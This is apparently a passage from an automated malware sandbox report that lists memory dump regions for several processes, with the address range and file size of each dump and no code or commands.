                                                                                                                          • memory/2252-4-0x0000000004CB0000-0x0000000004CC0000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            64KB

                                                                                                                          • memory/2252-5-0x0000000004D50000-0x0000000004DB6000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            408KB

                                                                                                                          • memory/2944-42-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            32KB

                                                                                                                          • memory/2944-47-0x00007FFD5F250000-0x00007FFD5F445000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            2.0MB

                                                                                                                          • memory/2944-51-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            32KB

                                                                                                                          • memory/2944-46-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            32KB

                                                                                                                          • memory/2944-44-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            32KB

                                                                                                                          • memory/2944-48-0x00007FFD5D570000-0x00007FFD5D62E000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            760KB

                                                                                                                          • memory/2944-41-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            32KB

                                                                                                                          • memory/2944-40-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            32KB

                                                                                                                          • memory/3256-13-0x0000000074B50000-0x0000000075300000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            7.7MB

                                                                                                                          • memory/3256-85-0x0000000005650000-0x0000000005660000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            64KB

                                                                                                                          • memory/3256-73-0x0000000074B50000-0x0000000075300000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            7.7MB

                                                                                                                          • memory/3256-14-0x0000000005650000-0x0000000005660000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            64KB

                                                                                                                          • memory/3256-36-0x0000000006DB0000-0x0000000006DBA000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            40KB

                                                                                                                          • memory/3256-200-0x0000000074B50000-0x0000000075300000-memory.dmp

                                                                                                                            Filesize

                                                                                                                            7.7MB